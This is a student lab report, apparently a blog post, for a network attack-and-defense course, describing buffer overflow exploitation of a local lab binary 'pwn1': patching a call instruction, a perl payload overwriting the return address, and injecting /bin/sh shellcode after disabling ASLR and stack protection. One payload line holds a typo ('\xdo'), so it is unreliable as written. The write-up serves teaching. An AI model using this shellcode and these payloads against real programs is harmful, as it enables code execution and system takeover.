20222806 2022-2023-2 《网络攻防实践》实践九报告

实践内容

实践知识:缓冲区溢出
缓冲区溢出(Buffer Overflow)是一种常见的计算机安全漏洞,它发生在程序试图向一个缓冲区写入数据时,超出了该缓冲区所能容纳的大小,导致数据溢出到相邻的内存区域,可能导致程序崩溃或被恶意利用。进程的栈是由多个栈帧构成的,其中每个栈帧都对应一个函数调用。当调用函数时,新的栈帧被压入栈;当函数返回时,相应的栈帧从栈中弹出。由于需要将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。
当程序写入超过缓冲区的边界时,就会产生所谓的“缓冲区溢出”。发生缓冲区溢出时,就会覆盖下一个相邻的内存块,导致程序发生一些不可预料的结果:也许程序可以继续,也许程序的执行出现奇怪现象,也许程序完全失败或者崩溃等。
缓冲区:缓冲区是计算机内存中的一块连续空间,用于存储数据。常见的缓冲区包括数组、字符串和堆栈等。

溢出原理:缓冲区溢出通常发生在程序试图向一个缓冲区写入数据时,未能对输入进行正确的边界检查。如果输入的数据超出了缓冲区所能容纳的大小,多余的数据就会溢出到相邻的内存区域,覆盖原本存储在那里的数据或者修改程序的执行流程。

堆栈溢出:堆栈(Stack)是程序运行时用于存储函数调用信息和局部变量的一种数据结构。堆栈溢出是指当一个函数向堆栈中的局部变量或函数调用信息写入过多数据时,超出了堆栈的边界,导致数据溢出到相邻的内存区域。

栈溢出攻击:栈溢出漏洞常常被黑客利用进行恶意攻击。黑客可以通过精心构造的输入数据,覆盖程序的返回地址(Return Address),使程序执行到恶意注入的代码,从而控制程序的执行流程,进行非法操作。

防御措施:为了防止缓冲区溢出漏洞,可以采取一些安全措施,例如:

输入验证和边界检查:程序应该对输入数据进行验证,并确保输入数据不会超出缓冲区的容量。
使用安全的字符串处理函数:使用安全的字符串处理函数(如strncpy()和strncat())来替代容易导致溢出的函数(如strcpy()和strcat())。
栈保护技术:现代编译器和操作系统提供了一些栈保护技术,如栈保护器(Stack Protector)和数据执行保护(DEP),可以在一定程度上防止栈溢出攻击。

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
主要内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

实践过程

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先用objdumppwn1进行反汇编

objdump -d pwn1 | more

在这里插入图片描述
找到了main函数
在这里插入图片描述
观察分析可以得知在这个main函数中使用了call命令调用之前的<foo>函数,如果想要直接执行getShell函数需要修改一下call命令调用的地址
在这里插入图片描述
那么需要如何修改呢?先研究一下call指令的机器语言层面上的实现原理:
可以看到对应的语句为e8 d7 ff ff ff,先解释一下e8,这是call指令的硬编码,个人理解是call指令在机器语言层面的表达形式
为什么后面是d7 ff ff ff呢,这一段我们称之为硬编码
e8后面的硬编码计算公式如下
假设后面的硬编码为X

X=真正要跳转的地址-E8这条指令的下一行地址
X=08048491-080484ba
X=ff ff ff d7

转换一下 低位在前高位在后就获得了硬编码d7 ff ff ff
按照这个思路修改,我们先找到getShell函数的地址为0804847d
可得硬编码为0804847d-080484ba = ff ff ff c3的反转版本c3 ff ff ff
修改pwn1文件内容vim pwn1
在这里插入图片描述
发现是乱码的说明我们需要用十六进制打开,顺便先备份一下
输入命令

vim pwn2
:%! xxd (本条命令在vim界面下输入)

在这里插入图片描述
寻找地址d7 ff ff ff
在这里插入图片描述
按i进入插入模式,将d7替换为c3,保存退出
在这里插入图片描述
不要忘记把十六进制格式改回来
:%! xxd -r
在这里插入图片描述
重新进行反汇编查看是否修改成功
在这里插入图片描述
可以看到后面的foo函数被替换成了getShell函数
运行一下试试,验证修改成功
在这里插入图片描述

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

在这里插入图片描述
foo函数的主要作用是重新输出用户所输入的语句
主要先观察foo的汇编实现语句:
在这里插入图片描述
可以看到主要是调用了gets和puts两个函数实现,对于这个gets函数存在一定的BOF漏洞
可以看到对于该foo函数总共有0x38(56字节)给函数局部变量,其中有0x1c(28字节)给gets接受的字符串
因此如果gets中得到的字符串长于32字节,则会是的输入内容覆盖到EIP寄存器中
其堆栈示意图如下所示:
在这里插入图片描述
为什么是长于32字节,其计算如下表达
1 c + E B P    ⟺    28 + 4 = 32 1c+EBP\iff28+4=32 1c+EBP28+4=32
换句话说如果我们输入的字符串覆盖到EIP,将getShell函数的地址覆盖上去,那么程序执行完回到原本的地址就会被修改成getShell的地址
也就是说foo函数调用结束后立刻执行getShell函数
接下来的问题是如何构造输入的字符串使得执行缓冲区溢出的错误
仅需满足以下两个条件

1、字符长度为36字节
2、最后四个字节为getShell的地址0804847d

利用perl命令将输出放到一个input文件中

perl -e 'print "aaaaaaaabbbbbbbbccccccccdddddddd\x7d\x84\x04\x08"' > input
(cat input; cat) | ./pwn1

在这里插入图片描述
可以看到已经成功获取了使用shell的权限(虽然好像有点bug?)

3、注入一个自己制作的shellcode并运行这段shellcode

shellcode顾名思义就是能够触发shell、或者执行某些操作的一段代码,在1中是直接调用了getShell函数,在2中是利用缓冲区溢出将EIP覆盖为getShell函数的地址来启动shell,3中需要我们编写一段代码能够触发shell
以下思路编写shellcode

1、关掉地址随机化(避免十六进制的shellcode地址对应不上);
2、编写汇编语言层面的shellcode(或者高级语言);
3、将高级语言的shellcode反汇编得到十六进制的代码;
4、将这个代码通过一定的手段进行运行(主要看此次的shellcode用了什么漏洞);

或者直接在一些著名的shellcode网站上也可以直接找到一些比较经典的shellcode
诸如以下两个网站: http://shell-storm.org/shellcode/index.html
https://www.exploit-db.com/
找到了一个比较经典的21字节的shellcode
在这里插入图片描述
在这里插入图片描述
里面直接提供了十六进制的shellcode,我们接下来就直接采用这个

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

首先我们需要利用execstack关闭地址随机化

sudo apt-get install execstack
sudo execstack -s pwn1    #设置堆栈可执行 
sudo echo "0" > /proc/sys/kernel/randomize_va_space    #关闭地址随机化

在这里插入图片描述
在本次实验中,我们需要利用foo函数中的另一个缓冲区溢出漏洞,除去gets以外我们仍然需要进行构造,所以我们继续分析foo函数的汇编代码:
在这里插入图片描述
可以发现在foo函数调用了ret,因此可以从retaddr入手来替换掉堆栈执行代码,由于retaddr在缓冲区的位置是固定的,所以需要重新构造一下payload

retaddr+nop+shellcode

其中nop(空执行代码0x90,不执行任何操作)的主要作用用于填充原本retaddr中的存储的返回地址,因此只要有足够长度的nop就可以使ret失效(也就是foo函数调用的最后不返回main函数)
为了获取retaddr先构造输入

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1"' > input_shellcode

将这些构造的输入利用pwn1打开
同时利用命令进行gdb监视

ps -ef | grep pwn1

在这里插入图片描述
可知进程号是4616,调用gdb进行监视,找到foo函数的内容

sudo gdb
attach 4616
disassemble foo

在这里插入图片描述
可知其内存应该为0x080484ae
所以设置断点break *0x080484ae,在运行后查看其esp值发现了retaddr的位置,同时确实0x01020304在其中,说明没问题,顺位计算下来是0xffffd6cc+4=0xFFFFD6D0
在这里插入图片描述
因此最终的payload为:

perl -e 'print "A" x 32;print "\xb0\xdo\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"' > input_shellcode
 (cat input_shellcode; cat) | ./pwn1

测试
在这里插入图片描述

学习中遇到的问题及解决

问题1:kali网卡图标中wired connection消失,没有网络连接
解决方法:
sudo service network-manager stop
sudo rm /var/lib/NetworkManager/NetworkManager.state
sudo service network-manager start
sudo gedit /etc/NetworkManager/NetworkManager.conf
(把false改成true,这里要是没有gedit可以用vim来代替)
sudo service network-manager restart
转自https://blog.csdn.net/qq_42357070/article/details/83385951
原文章是解决ubuntu上的问题,在kali上同样适用
问题2:无法关闭地址随机化
解决方案:sudo su来获取权限
在这里插入图片描述

实践总结

本次学习了pwn方向上的三种缓冲区溢出攻击,深刻的理解了pwn的困难之处,这还是在实验环境下关掉随机地址等等的条件做的,对于网络攻防要学习的地方还有很多

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值